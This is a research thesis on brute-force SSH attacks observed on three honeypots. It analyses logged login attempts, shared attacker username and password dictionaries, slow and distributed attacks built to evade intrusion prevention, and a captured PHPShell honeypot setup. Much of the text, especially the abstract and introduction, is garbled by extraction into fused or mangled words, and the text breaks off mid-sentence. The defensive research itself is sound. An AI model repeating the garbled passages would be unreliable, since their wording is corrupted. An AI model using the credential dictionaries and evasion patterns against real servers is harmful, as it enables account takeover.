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ABSTRACT

In its Top-20 Security Risks report for 2007, th&NS Institute called brute-force
password guessing attacks against SSH, FTP anet sdrvers “the most common form
of attack to compromise servers facing the Intetnfetrecent study also suggests that
Linux systems may play an important role in the owand and control networks for
botnets. Defending against brute-force SSH attawkg therefore prove to be a key factor
in the effort to defend against botnets. In thipgrawe report on a study of brute-force
SSH attacks observed on three very different nédsvoan Internet-connected small
business network, a residential system with a D&&rhet connection, and a university
campus network. The similarities observed in theéhoes used to attack these disparate
systems are quite interesting. The evidence sugdkat many brute-force attacks are
based on pre-compiled lists of usernames and padsywyhich are widely shared. We
were able to confirm the existence of two suchqmewiled lists, based on the analysis
of SSH attack toolkits captured in a related howéypoject. Moreover, analysis of the
passwords used in actual malicious SSH traffic estggthat the common understanding
of what constitutes a strong password may not Wciemt to protect systems from
compromise. Study data are also used to evaluaeetfectiveness of a variety of

techniques designed to defend against these attacks
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1. Introduction

Major security threats to networked computer systappear to be reaching crisis
proportions in recent years. For example, Barraddetavorks, a major supplier of email
and Web security appliances, estimates that spaail aotounted for between 90 and 95
percent of all email sent during 2007 [BAO7]. Ird@abn, new phishing attacks increased
by 18% during the first half of 2007 [SYO07], and twe final quarter of last year phishing
incidents accounted for nearly 60% of all secuntidents reported [USO07]. Commercial
malware kits such as MPack [SA07], including mamatece and support agreements for
client hackers, are now being offered for salelanIhternet for as little as $500. These
trends have only continued to grow since 2006 wBerte Schneier told the audience at
the Hack in the Box Security Conference in Kualamipur, Malaysia that in his
estimation the security war was being lost [LEOG].

Perhaps the single biggest security threat for odt®d systems going forward is
represented bigotnets, defined as collections of compromised computstesys used for
a variety of criminal activities, including distuted denial-of-service attacks, spamming,
traffic sniffing, keylogging, identity theft, andlick fraud [HOO05]. The most highly
publicized botnet of 2007 was the Storm worm botndtich is estimated to control as
many as 50 million computers [GAO7].

For most of the recorded history of botnets, datoegk to 1999, the robot
computers, ozombies, that populate them have been understood to comsmarily of
compromised systems running a version of the Maftog/indows operating system

[HOO5] [RZ06]. Propagation of zombie code has bebserved to occur through a



number of Windows-specific worms, viruses, Trojaasd other forms of malware
[CAO5].

More recently, vulnerabilities in Linux machineseadbeing recognized as an
important part of the problem, as well. In Octold2907, Dave Cullinane, chief
information and security officer at eBay, announeédhe Trust Online conference that
an internal investigation of the security threaseid by the online auction service had
been traced to “rootkitted Linux boxes” [MCO7]. Guéne expressed surprise over this
discovery, saying, “We expected Microsoft boxeslfréd Huger, vice president for
Symantec Security Response, echoed Cullinane's eaismsaying that compromised
Linux machines are frequently used in phishing expl He also noted that Linux
machines make up a large portion of the commandanttol networks for botnets.

The eBay study's focus on the use of Linux systemphishing and botnet
activities correlates well with the data gathedewugh a local honeypot project. During
the period from late-2006 through early 2008, usandpw-interaction honeypot that
mimics a vulnerable Web application (PHPShell IPHI05], we collected a number of
malware samples that contained phishing sitesudnag at least two designed to target
customers of PayPal, the eBay financial servictkaat. In addition, we have collected
dozens of IRC bot command-and-control tools, bagedthe Eggdrop [EGO06] and
EnergyMech [ENO5] and psyBNC [PS05] IRC bots.

While it is true that computers running Linux a@ subject to the many worms,
viruses, and other malware that target Windowdsqoaus, the Linux platform is known
to be vulnerable to other forms of exploitation2804 study conducted by the London-

based security analysis and consulting firm midgntbthat Linux systems accounted for



65% of “digital breaches” recorded during the tveemonth period ending in October
2004 [HOO04].

Recent studies of vulnerability trends point to taramary attack vectors: brute-
force attacks against remote services such as EBP, and telnet, and Web application
vulnerabilities [CMO07] [SAO7a]. In its Top-20 200Fecurity Risks report, the SANS
Institute called brute-force password guessingcls$taagainst SSH, FTP and telnet
servers “the most common form of attack to compsenservers facing the Internet.” The
report notes that unpatched flaws such as buffegrflow vulnerabilities in the
authentication functions of these services cannalobitrary code execution; however,
the report also points up a much more mundanettié@ak passwords are specifically
identified as a potential Achilles heel in thesstegs, since “brute forcing passwords
can be a used as a technique to compromise eugly adtched system.”

In this work, we focus specifically on brute-for8&H attacks. In particular, we
analyze data collected from a large number of S8Hekorce attacks against Linux
systems connected to different kinds of networke. discuss patterns in the passwords
used in these attacks, as well as the methods gethléve also use the data we collected
to evaluate the effectiveness of various countesomes that have been suggested for
protecting systems against SSH brute-force attacks.

The remainder of the thesis is organized as follo@kapter 2 provides an
overview of the project, including the experimergatup, an overview of attack activity,
and a high-level summary of usernames and passwm@s in attacks. In Chapter 3,
malicious traffic is analyzed in detail, providingsight into the methods used by

attackers. Chapter 4 provides an analysis of a 8&tk toolkit captured in a related



honeypot project, with discussion of how the ineddtools and files relate to our
research findings. In Chapter 5, we evaluate a mrunadd commonly recommended
defenses against brute-force SSH attacks. Chaptes@&ibes related work, followed by a

description of future work in Chapter 7. We condud Chapter 8.



2. Project Overview

A.l Experimental Setup

In order to collect as much data on actual attaakgossible from a variety
network types, we deployed SSH honeypots in thresy vdifferent network
environments:

* An Internet-connected small business network
» Arresidential system with a DSL Internet connection
e Our campus network

The honeypots consisted of low-end PCs with minibmaiix server installations.
Each system ran two SSH servers. The first wasteéhea version of OpenSSH Server
version 4.7 [OPO07] that listened for attack traffic TCP port 22. The second server,
intended for maintenance and control of the honesyp@n the SSH server software
provided with the Linux distribution and listened a nonstandard high port. The three
networks hosting the honeypots were completely reg¢pawith no explicit or logical
links to connect them. In addition, each networledusa different Internet service
provider.

We implemented and applied two modifications to @@enSSH server software
for the honeypots. First, we added a line to thesward authentication function to log
the passwords used in all login attempts. Secordhard-coded the function’s return
value to always indicate a failed login attempt,was were not interested in allowing
attackers to access the honeypots. Figure 1 belowides a listing of the patched

password authentication function. Our modificatians highlighted in bold.



int auth_password(Authctxt *authctxt, const char *p assword) {
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;

/* JPO Added: Log all passwords */
if( strlen(password) > 0 )
logit( "PWATTEMPT: % from %", password, get renote_ipaddr());

/***********************/

#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIR E)
static int expire_checked = 0;
#endif

#ifdef USE_PAM
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, pas sword) && ok);
#endif
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIR E)
if (lexpire_checked) {
expire_checked = 1;
if (auth_shadow_pwexpired(authctxt))
authctxt->force_pwchange = 1;
}

#endif

/* JPO Changed: Disallow all |ogins */
/* result = sys_auth_passwd(authctxt, password); */

result = 0O;
/***********************/

if (authctxt->force_pwchange)
disable_forwarding();
return (result && ok);

}

Figure 1. The patched OpenSSH server password authication function.

With the addition of thdogit() function call shown above, the honeypots’
authorization logs provide complete informationasting malicious login attempts. An
excerpt from one honeypot’s log showing severalicimals login attempts is provided in

Figure 2 below. Each log message consists of



« A date-time group, such as=b 10 11:17:04

« The machine’s host name, which in this casgeit

- The logging facility (the secure shell server daejrand its process id, or

PID: sshd[12137]
* A message
All messages relating to a single login attemptatine same PID. Information

on passwords used in malicious login attemptsvsrgin the messages beginning with
PW-ATTEMPTwhile the associated username is listed in @Welbn message that begins
with the wordgrailed password . Also note the messages shown in Figure 2 regardin
the fact that the root account was locked. As airsigcmeasure, both the SSH servers
running on each honeypot were configured to digsatimot logins via SSH; however, this

information is not available to attackers.

Feb 10 11:17:04 stella sshd[12137]: PW-ATTEMPT: id from 64.81.132.214
Feb 10 11:17:04 stella sshd[12137]: Failed password for invalid user
root from 64.81.132.214 port 17346 ssh2

Feb 10 11:17:05 stella sshd[12142]: User root not a llowed because
account is locked

Feb 10 11:17:05 stella sshd[12142]: PW-ATTEMPT: 123 4567 from
64.81.132.214

Feb 10 11:17:05 stella sshd[12142]: Failed password for invalid user
root from 64.81.132.214 port 17697 ssh2

Feb 10 11:17:06 stella sshd[12144]: User root not a llowed because
account is locked

Feb 10 11:17:06 stella sshd[12144]: PW-ATTEMPT: asd fghjkl from
64.81.132.214

Feb 10 11:17:06 stella sshd[12144]: Failed password for invalid user
root from 64.81.132.214 port 17769 ssh2

Feb 10 11:17:07 stella sshd[12146]: User root not a llowed because
account is locked

Feb 10 11:17:07 stella sshd[12146]: PW-ATTEMPT: 024 6 from 64.81.132.214
Feb 10 11:17:07 stella sshd[12146]: Failed password for invalid user
root from 64.81.132.214 port 17862 ssh2

Figure 2. Excerpt of malicious login activity froma SSH honeypot authorization log.



The structure of the authorization log messageatael to malicious login
attempts readily lends itself to parsing and exitngcthe relevant data and inserting it
into a database. We wrote a simple Python script fllis purpose named
parse_logs.py  to automatically parse the honeypot logs on aydmibkis. The database
rows related to the malicious login traffic showsogae are listed in Figure 3 below. The

full text of theparse_logs.py  script is included in Appendix A.

I D Dat e- Ti ne User nane Passwor d | P Addr ess
53710 [2008-02-10 11:17:04 root id 64.81.132.214
53711 [2008-02-10 11:17:05 root 123456[7 64.81.132.21 4
53712 [2008-02-10 11:17:06 root asdfghjkl 64.81.132. 214
53713 [2008-02-10 11:17:07 root 0246 64.81.132.214

Figure 3. Database excerpt of malicious login actity from a SSH honeypot.

The local database for each honeypot is, in turtgraatically synchronized on a
daily basis with a central server for data aggiegatand analysis. Data is first extracted
to text files by means of a scheduled databaseyquEnese text files are then
synchronized with the central server using the kinsync command. Finally, shell
scripts run by a scheduled job on the central seareeused to aggregate data from all the
honeypots. For example, the shell script shownigurfé 4 below merges the password
data from all honeypots into a single, sorted dbgliaal list, which is then compressed

and ready for download.

#!/bin/bash

rm -rf passwords.*
for filename in /opt/sshdlogs/*; do
fn=%(basename "$filename")
if [ -f "$filename" ]; then
grep -v *$' $filename >> passwords.all
fi
done
sort -d passwords.all | unig > passwords
gzip passwords

Figure 4. Shell script used to merge password dateom SSH honeypots.



We operated the honeypots in two phases, for peddix to eight weeks each.
The first phase ran from mid-July through late-AstgP007. The second phase ran from

mid-December 2007 until mid-February 2008.

A.2 Overview of Attack Activity

In this section, we begin with a high-level ovewief the brute-force attacks we
observed. Over the course of approximately 13 wedéks three honeypots were
subjected to 399 separate attacks, consisting afe ntioan 151,000 login attempts,
originating from 349 IP addresses.

The number of individual login attempts observedirdy each attack varied
widely, from one or two, up to hundreds or evenudamds of attempts. The largest
number of attempts observed during a single atsedsion was 13,446. This attack,
observed on the honeypot located on the businesgre lasted for more than five
hours. The next largest attack, observed on timeypot located on the residential DSL
connection, consisted of 9,311 login attempts asted for nearly two hours. The latter
attack accounted for roughly one-third of all thegih attempts recorded on the
residential honeypot.

Of the 349 distinct IP addresses involved in ataagross the three systems, 15
addresses were observed in attacks on more thahamsypot. Just one IP address was
observed in attacks on all three. Thus, we recoedtdal of 333 distinct IP addresses in
our research. Overall attack statistics are preseint Table 1, broken down by individual

honeypot.



Table 1. Overall honeypot attack activity.

Campus | Business | Residence Totals
Distinct attacks 152 168 79 399
Login attempts 54,841 70,476 26,168 151,485
Source IP
addresses 126 145 78 349

An overview of attack activities by duplicate IPdaglsses on multiple honeypots

is presented in Table 2. The bold, italicized estriindicate that the same

username/password pairs were used in the same neeque attacks on different

honeypots. In most cases, when the same IP addesssgsed in attacks on more than one
honeypot, the same username/password pairs wedeiugeecisely the same sequence,
even if the total number of login attempts was thet same. For example, on 1/20/08, IP
address 218.16.103.100 issued 14 login attempiset@ampus SSH honeypot and 627
login attempts to the Business SSH honeypot on/Q&2The 14 username/password
pairs from the Campus attack occur in exactly ttieioas the first 14 of 627 attempts in

the Business attack.

Table 2. Attack activities by duplicate IP addresse

IP Campus Attempts Business Attempts Residence Attempts
125.138.96.19 8/21/07 168 8/5/07 168
125.243.206.194 2/14/08 45  12/26/07 357
125.63.74.130 1/1/08 292  12/30/07 1170
200.111.37.234 2/2/07 9 2/8/08 9
200.21.208.13 1/7/08 89 1/17/08 1
210.53.138.162 7/31/07 5 8/20/07 1
212.203.9.64 1/29/08 80 2/8/08 80
213.247.207.230 1/3/08 70 1/4/08 162
218.16.103.100 1/20/08 14 1/22/08 627
221.204.251.32 2/12/08 9 8/12/07 6 7/14/07 9
222.124.169.163 1/21/07 9 12/25/07 168
222.221.12.12 12/24/07 3 2/11/08 124
58.223.251.3 2/13/08 2 2/3/08 23
67.133.32.70 2/16/08 1 2/13/2008 1
80.87.72.3 2/8/2008 106  2/18/2008 431

10



A.3 Common Usernames and Passwords

As one might expect, the username observed mosh aft malicious login
attempts wasoot . Overall, the root account was targeted in 20 garof all login
attempts. Other usernames commonly targeted aen adssociated with temporary
accounts, such asst , guest oruser . System accounts were also commonly targeted.
Table 3 presents the “Top 12" usernames seen megudntly, along with their
respective percentages of total login attempteréstingly, database system names, such
asoracle , postgres , andmysqgl , appear to dominate the list of system accounts.

Beyond theroot , system and temporary account names, the vastrityagd
usernames we observed were first names (mighael or cheryl ). We were
encouraged to see very little effort being mad&atget usernames such as those used in
many U.S. organizations, which often combine alpart of people's surnames with their
first and sometimes middle initials. In fact, arebafor such usernames based on the top
ten American surnames from the 2000 U.S. Censu9(QU$elded just 33 examples
among the nearly 24,000 distinct usernames cotleicteur research. In 32 of these 33
examples, the username consisted of one or twalgifollowed by the surname.

Table 3. “Top 12" usernames observed in SSH attacks

Username | % Used
root 20.0
admin 1.7
test 14
guest 0.7
a 0.6
user 0.5
oracle 0.5
webmaster 0.4
postgres 0.4
tester 0.3
mysq! 0.3
ftpuser 0.3

11



Passwords based on the usernames themselves wée thg most commonly used in
attacks on our honeypots. In fact, identical usem’password pairs (e.got/root
guest/guest , michael/michael ) were used in nearly 47 percent of login attempts
across all three honeypots. Passwords based ornesiapations to the username were
observed in another 10 percent of attempts. Thet m@m®mon variation was simply
appending “123” to the username to form the pasdwerg.root/root123 ). Other
variations included passwords that were alternaten$ of the username, such as the
passwordvalter used with usernamealt , or the opposite male-female form, such as
the passwordamantha used with the usernansam. Another common variation was a
simple doubling or tripling of the username to fotihe password, such as forming the
passwordesttest ~ from usernameest

Table 4 lists the passwords seen most frequentlgttaccks on our honeypots,
along with their overall percentages of total logittempts. Passwords based on the
username or the simple variations discussed aboweepresented bfousernameo.
Dictionary words accounted for just over 9 peradrdll passwords collected.

Table 4. “Top 12" passwords observed in SSH attacks

Password % Used
%username% 57.1
123456 3.5
password 1.2
test 0.9
root 0.7
admin 0.6
test123 0.6
12345 0.5
passwd 0.5
1234 0.5
123 0.4
administrator 0.3

12



The results presented thus far correlate very wieh those of earlier studies of
malicious SSH login attempts [RBO7] [SE06]. Thesaes tended to focus on the most
frequently observed usernames and passwords inahalyses, as a prelude to the study
of the actions taken by attackers who gained adecelgh-interaction honeypots. In our
research, we have chosen to focus on the malidamis attempts themselves, with the
goal of developing and evaluating recommendatiamsdefending against brute-force

attacks. We present the results of that analysisamext chapter.

13



3. Attack Patterns

In this section, we dig deeper into the attackgvaft we observed in our SSH
honeypots. We begin with an examination of theedéht types of passwords used in the

attacks, followed by a discussion of some intengséittack scenarios.

A.4 Passwords and Attack Dictionaries

In Section 2.3, we presented data on the most canusernames and passwords
used in attacks. In this section, we present a rdetailed analysis of password usage.
For SSH servers that permit password authenticatie passwords themselves are an
obvious area of vulnerability. So we begin our gsigl with an examination of the

different kinds of passwords and attack dictiorstised in the attacks on our honeypots.

A.4.1 Passwords

One of the first questions raised in our analyssmcerned the degree of
commonality that might exist in the passwords usedttacks across the honeypots. In
the previous section, we presented the overall “I8p list of passwords collected,
which was headed by passwords that were variabonhe username. Of course, these
passwords vary with the username. Putting thesswmads aside temporarily, we
generated a list of the most frequently occurrimggwords collected in each of the
honeypots and compared them side-by-side. We foiadsimilarity among these lists

rather astonishing.

Figure 5 below presents the 20 passwords seenfregsiently in each honeypot.
The passwords in the bold font are those that ieared among the top 20 in all three

honeypots. The passwords in italics were recordeivo of the lists. When evaluating

14



these lists, we again point out that these passweste generated in attacks originating
from 349 IP addresses. Just 15 of these IP addregse observed in attacks on more

than one honeypot.

Campus Business Residence
123456 123456 123456
passwor d passwor d password
t est r oot t est
12345 t est 12345
admi n admi n 123
r oot test 123 1234
1234 passwd test 123
123 adni ni strat or passwd
adm ni strat or | asutcmhackl123@ 1
test 123 12345 12
gwerty gwerty admi n
12345678 user a
linux 123 r oot
user 1234 abc123
guest 40232046bad gqwerty
apache I@#asutcmhack!@# | changeme
abc123 guest 1g2w3e
nysql nysql guest
mast er mast er asdfgh
webmaster abc123 abcd1234

Figure 5. The “Top 20” passwords from each honeypot

Overall, 12 passwords were found in the top 20dmebng all three honeypots,
with another 5 occurring in two of the lists. Thessults might have been even more
striking were it not for the presence of three loé tongest passwords found in the

Business honeypot’s list:

asutcmhack123@
40232046bad
|@#asutcmhack! @#

These passwords were used hundreds of times eadmibination with different
usernames in a single attack on the Business hoheypese passwords are also the

strongest found in this list. In fact, the passwasdtcmhack123@ received a “Best”
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rating when tested with Microsoft's online Passw@Mbecker tool [MI08], while the

remaining two were rated as “Medium.”

A.4.2 Attack Dictionaries

The similarities we observed among the passwordst mommonly used in
attacks on the three honeypots led us to suspattattackers might be using shared
dictionaries of usernames and passwords. In factexamining the number of login
attempts involved in attacks on the three honeymotd manually comparing the
individual usernames and passwords used in eaabkative found evidence of at least

five such dictionaries.

The criteria we used to identify attack dictionangere quite strict. Specifically,
we considered two attack sessions to be using dhee ictionary only if they used
exactly the same username/password pairs in phetisesame order. We also observed
numerous partial runs of similar username/passwistd; however, these were not

counted.

Table 5 provides some statistics on the frequeneiswhich the dictionaries we
identified were used in attacks. We named the ahetiies according to the number of
username/password pairs contained in each. Thd @ite66 attacks using these
dictionaries accounted for 17 percent of all thetdforce SSH attacks observed on the
honeypots. Given the strict criteria used to defaeh dictionary, we find this result
quite striking. Additional information on the indawal dictionaries is provided in the

following paragraphs.

16



Table 5. Username/password dictionaries used in SShitacks.

Campus | Business | Residence | Total

Dictionary-9 7 11 6 24
Dictionary-66 0 1 2 3
Dictionary-168 16 10 6 32
Dictionary-363 2 1 1 4
Dictionary-373 1 2 0 3
Totals 26 25 15 66

A.4.2.1Dictionary-9

The smallest of the 5 dictionaries we observeduding 9 username/password
pairs, was used in a total of 24 attacks involvatig3 of the honeypots. As shown in
Figure 2 below, the usernames and passwords usegquide simple. This dictionary was
clearly designed to permit exploration of a largenber of potentially vulnerable servers
in a very short period. The average time requieddmplete each of the 24 attacks

observed using this dictionary was just over 23sds.

Usernames Passwords
test test

guest guest
admin admins
user user

root password
root root

root 123456
test 123456

Figure 6. Usernames/passwords included in Dictiong9.

A.4.2.2 Dictionary-66

All username/password pairs contained in this dicry were specifically
directed at the root account. The passwords ussada a small number of the sort found

in the Top 20 lists above, as well as some simptages likeechangeme andtrustnol
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However, the majority of the passwords found irs thictionary are based on simple

keyboard patterns, such as the following:

gazwsxedc
gpwoeiruty
1g2w3e4r
l@#$%"

A complete listing of the usernames and passwardsd in this dictionary is provided in

Appendix B.

A.4.2.3 Dictionary-168

This dictionary proved to be the most popular cadior attacks on the honeypots. It
includes a large variety of usernames including;rgarious system accounts; generic
and/or temporary account names such as staff, saldgecruit; as well as proper names.
The included passwords are quite simple throughwaitit, the vast majority being limited
to the username or a simple variation thereon. d&atified three distinct versions of this
dictionary, each of which individually met the erita described above for defining
dictionaries. That is, each version was observaépeated attacks, using the exact same
username/password pairs occurring in precisely #aene order. Each version
incorporated a small number of modifications (1@ewver) to the usernames, passwords,
or both from other versions. Despite these miniedinces, each version of Dictionary-
168 contained the same number of username/pasgvamsl A complete listing of the

usernames and passwords found in these dictionaneevided in Appendix C.

A.4.2.4 Dictionary-363 and Dictionary-373

These dictionaries include a diverse collectiorusérnames and passwords and

may simply represent a conglomeration of smalleti@haries. The root account and
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various system accounts are well represented, paiiswords of varying types including
common English words, proper names, keyboard patteand “leets,” which replace
letters with numbers or symbols that resemble #dpaced letter. For example, these

dictionaries include these variations on the wassword:

p@sswOrd
p@ssword
passwOrd
pa$$word
pa55word
pa55w0rd

Both dictionaries also include more than a hunddedtical usernames/passwords based
on proper names. A complete listing of the userrsammed passwords found in these

dictionaries is provided in Appendix D.

The information on attack dictionaries providedtlis section is based on our
analysis of the usernames and passwords captudedhioireds of attacks. In Chapter 4,
however, we will describe a SSH brute-force attacikit captured in a related honeypot
project that contained several attack dictionames of which exactly matches the most

frequently observed version of Dictionary-168.

A.5 Attack Methods

As noted in the previous section, the number ofnl@tempts observed during
individual attack sessions varied widely. Roughhedhird consisted of ten or fewer
login attempts, while other attackers attempteddneats or even thousands of logins in a
single session. In fact, in about 10 percent adcktf, more than 1,000 login attempts

were recorded.
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While the vast majority of attacks seemed fairlyaigihtforward, we recently
observed a small number of attacks that appeaifidy designed to evade detection
by intrusion prevention systems. We provide detaits three such attacks in the

following paragraphs.

A.5.1 Slow-motion Brute-force SSH Attacks

Beginning on January 1 and continuing through Jan8a2008, we observed a
total of 21 separate attack sessions on the Cahmymesypot originating from a single IP
address. The number of logins attempted during easkion varied somewhat, but the
number of logins attempted during a single sessiemer exceeded nine. The total
number of login attempts over the eight days wag, H8 of which targeted the root

account.

The passwords used in the initial 50 or so atteroyés the first 3 days were quite
simple. They consisted mostly of common English dsprproper names, and simple
phrases such aswuser , stuffedturkey , andyouareok . The passwords used in the
next session, consisting of nine login attempts)sigied mostly of “leets” such as

c4bl3m0d3m (cablemodem);4i3nd4r (calendar), and4lifOrni4 (california).

Beginning with session number 11 and continuingoughout the remaining
attacks sessions, the passwords were much strdndact, of the passwords used in the
last 73 login attempts, 53 percent were rated dsofi§” by Microsoft Corporation’s
Password Checker tool [MIO8]. A representative dangb these passwords is presented

in Figure 7 below.
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U50s8AdF
OxZBA4xOMd
35t3K60Z
Zh59EPuU5mMQxq
8NvI9YUpQuov
K48v87GR8Rf
QcxC30uzZUH
848TmMf57
bC28s9R7Weg
nezBh57yiljm
Kgrl7tJ89Tan

Figure 7. “Strong” passwords used during a slow-mabn brute-force SSH attack.

The Business honeypot sustained a similar “slowionbtattack. Beginning on
January 5 and continuing through January 9, 20G8,olaserved 11 individual login
attempts originating from a single IP address. Nararthan four login attempts were
made during a single day, and individual attempé&ewalways spaced several hours

apart. Details of the full sequence of these attack shown in Figure 8 below.

Date Time Username| Password
2008-01-05 | 22:14:31| admin changem
2008-01-07 | 01:56:01| root abcl23
2008-01-07 | 07:51:40|, root newpass
2008-01-07 | 13:47:17| root qlw2e3
2008-01-07 | 19:43:05| root passl23
2008-01-08 | 01:38:53| root 12345
2008-01-08 | 07:34:37| root 123456
2008-01-08 | 13:30:14| root pass1234
2008-01-08 | 19:25:55| root tmp123
2008-01-09 | 01:21:46|, root test123
2008-01-09 | 07:17:30| root test1234
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This latter attack would be most effective in evaddetection by many intrusion
prevention systems (IPS), which are configureddtec repeated failed login attempts
from a single IP address. In nearly all cases,etlsgstems regularly reset the count of
failed login attempts after a period of time toymet authorized users from having their
IP addresses blocked due to occasional failed lagampts. The relatively slow pace of
this attack might reasonably be expected to blendwvith legitimate login traffic,

particularly at a high-volume site.

A.5.2 A Distributed, Coordinated Brute-force SSH Attack

On January 7, 2008 we observed another attack expghardesigned to evade
detection by intrusion prevention systems. Thiackticonsisted of a coordinated series of
login attempts originating from 10 different butnsecutive IP addresses from the same
Class C network. A total of 33 logins were atterdpite just over 3 minutes, with no
more than 5 attempts originating from a singledBrass. The sequence of login attempts
is shown in Figure 9 below. Interestingly, the msene/password pairs used in this attack
are identical to the first 32 pairs found in oneswan of the attack dictionary designated
as Dictionary-168 in the previous section. Althoudistributed among 10 different
source IPs addresses, the username/password padsruthis attack were attempted in

exactly the same order as in other attacks origigdtom a single IP address.

Time  Username Password IP Address
10:42:34 staff staff aaa.bbb.ccc.131
10:42:39 sales sales aaa.bbb.ccc.136
10:42:44 recruit recruit aaa.bbb.ccc.131
10:42:51 alias alias aaa.bbb.ccc.137
10:42:58 office office aaa.bbb.ccc.137
10:43:03 samba samba aaa.bbb.ccc.137
10:43:08 tomcat tomcat aaa.bbb.ccc.1B1
10:43:13 webadmin webadmin aaa.bbb.ccc.136
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10:43:21
10:43:29
10:43:36
10:43:41
10:43:46
10:43:51
10:43:57
10:44:05
10:44:10
10:44:15
10:44:21
10:44:26
10:44:32
10:44:38
10:44:43
10:44:49
10:44:54
10:45:00
10:45:06
10:45:11
10:45:17
10:45:22
10:45:30
10:45:35
10:45:45

spam
virus
cyrus
oracle
michael
ftp

test

webmaster webmaster aaa.bbb.ccc.13
postmaster postmaster aaa.bbb.ccc.13

postfix
postgres
paul
root
guest
admin
linux
user
david
web
apache
pgsql
mysq|
info
tony
core

spam
virus
cyrus
oracle

michael
ftp

test

postfix
postgres
paul
root
guest
admin
linux
user
david
web
apache
pgsql
mysql
info
tony
core

aaa.bbb.ccc.]
aaa.bbb.ccc.13

38
4

aaa.bbb.ccc.189
aaa.bbb.ccc.136
aaa.bbb.ccc.134

aaa.bbb.ccc.137

aaa.bbb.ccc.185

aaa.bbb.ccc.13

8
1
9

aaa.bbb.ccc.139
aaa.bbb.ccc.131

aaa.bbb.ccc.13
aaa.bbb.ccc.]

1
33

aaa.bbb.ccc.189

aaa.bbb.ccc.138

aaa.bbb.ccc.140
aaa.bbb.ccc.139
aaa.bbb.ccc.136
aaa.bbb.ccc.137
aaa.bbb.ccc.132
aaa.bbb.ccc.134

aaa.bbb.ccc.138

aaa.bbb.ccc.13
aaa.bbb.ccc.1

Figure 9. A distributed brute-force SSH attack.

5
38

We believe that these attacks represent fledglifayte to lower the “noise level”

of brute-force SSH attacks, and thereby avoid dietecWe fully expect to see more

sophisticated attacks using these and similar nasthm extend the time periods between

login attempts and to distribute the attempts amoiggeater number of IP addresses. In

fact, distributed SSH attacks would seem to b&elyliapplication for large, distributed

botnets.

A.5.3Predicting Future Attack Patterns

In fact, on February 29, 2008 we were able to eonbur suspicions that future

distributed attacks would become increasingly setptdated. On that date, Donald Smith,

the handler on duty at the SANS Internet Storm &efi6C), posted a report of what he
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termed a “dense distributed ssh scan” [SA08]. Qwgod contributor named Ben, Smith
described an attack during which the maliciousrogitempts were distributed among
most of the addresses in an entire Class C blottk, @ach IP address generating only
one or two attempts each. The “noise level” of gost of attack would fall well below

the threshold of even the most sensitive intrupi@vention systems.

In response to Smith’s report, we notified the I8Cur own observations and
learned that distributed attacks such as the onebserved are being called “distributed
and coordinated,” in that multiple source IPs adsles are used to attack a single target
and the attackers share a dictionary. We also éelatihat distributed SSH attacks were
first noted in late-October 2007, along with a nearkncrease in the level of SSH brute-
force attacks, generally [SAO7b]. The text of t&€Iresponse, with a reference to our

report, is presented in Figure 10 below.

Subject: RE: ISC# [9230806] Dense Distributed SSH b ruteforce attempts
MYDYNY

Date: Fri, 29 Feb 2008 07:49:15 -0700
From: "Smith, Donald" <Donald.Smith@gwest.com>

To: <owensjp@clarkson.edu>, <handlers-9230806@sans. org>

Thank s Jim, | will probably add a link and a reference t 0 it in an
update later today.

BTW | am calling attacks that come from multiple ip addresses and seem

to share a dictionary distributed and coordinated.
donald.smith@gwest.com giac

From: owensjp@clarkson.edu [mailto:owensjp@clarkson .edu]
Sent: Fri 2/29/2008 6:45 AM
To: handlers-9230806@sans.org

Subject: ISC# [9230806] Dense Distributed SSH brute force attempts
MYDYNY

Name: Jim Owens
E-Mail: owensjp@clarkson.edu
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/* handlers@sans.org is an alias for all ISC handle rs.
Please include the list in all replies to keep e veryone informed.
You may receive more than one response */

We reported on a similar, though somewhat cruder at tack in a paper we =
recently submitted to Usenix LEET '08:

http://people.clarkson.edu/~owensjp/pubs/leet08.pdf

This attack, which occurred in early January 2008, used 10 consecutive

IP addresses in the same CIDR 24 block (aaa.bbb.ccc 131 -
aaa.bbb.ccc.140). The noise level was, of course, h igher, a s some IPs
issued as many as four or five probes. As we report ed, we expected to
see more sophisticated use of this method in the fu ture. We were

therefore very interested to see your report.

What we found particularly interesting about the at tack we obse rved was
the coordinated use among these 10 IPs of a very fa miliar (to us)
attack dictionary of usernames/password pairs. Whil e only 33 probes
were attempted in total, the username password pair s and the order in
which they were issued to the target were i dentical to those used in

numerous single-source attacks we have observed.

Figure 10. Email response from SANS Internet StornCenter.
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4. Analysis of a SSH Brute-Force Attack Toolkit

In this chapter, we provide some additional insighd the methods used in SSH
brute-force attacks by analyzing a malware toofkiebmin) designed specifically for

this kind of attack.

A.6 Capturing a malware toolkit

The toolkit we analyzed was captured in a sepaoatenteraction honeypot that
has been operating on an off-campus network seteeSeptember 2006. The honeypot
mimics a vulnerable version of the PHPShell Weliegpon, “a shell wrapped in a PHP
script...a tool you can use to execute arbitrasflsfommands or browse the file system
on your remote webserver” [PHO5]. The applicatiomioked is PHP Shell version 1.7,
which provides shell access via a Web browser witlhequiring user authentication. In
fact, anyone connecting to this application via liternet using a Web browser has the

ability to run arbitrary shell commands on the rostem.

Users enter arbitrary shell commands in the fieldvigled and then click the
Enter key. Any output produced is then displayedhe gray field below. Figure 11
below shows the PHP Shell interface presentedtémladrs by the honeypot. The output
field in the figure shows the output provided ispense to thel command. By default,
the PHP Shell honeypot responds to relatively femmands. For example, in response
to the Linuxls (list) command, a listing of the default conteofsthe /phpshell
directory is displayed. If an attacker tries topthy the contents of thghpshell.php
file itself, the contents of the original vulnerabersion of the file are displayed. In
addition, the honeypot provides fairly crediblep@sses to a limited range of exploratory

commands seeking basic information on the operatygiem version, users currently
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logged in, and the like. The default responseafoy unsupported commands is to do

nothing.

PHP Shell 1.7

Current working directory: Root! phpshell/

Choose new worldng dirsctery: | Current Directony |+

Command: Execite Cammand |

Enable scderc-trapping? [

uid=99 (nokody) gid=92 (nogroup)

Figure 11. The PHPShell 1.7 honeypot interface.

The software used in this low-interaction honeypats developed by the PHP
Honeypot Project [PHO6]. Its limited functionality often sufficient to fool unskilled
attackers, also known asript-kiddies, long enough to entice them into attempting to
download malware tools to the honeypot system. Momhisticated hackers are unlikely
to be fooled because the illusion of a working eystbreaks down with attempts to

determine network settings, list open ports, ardikte.
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A primary purpose of many low-interaction honeypobjects is to collect the
malware tools that attacks download to compromgedems. The honeypot system we
used gives the appearance of providing full supfmorsuch network commands aget
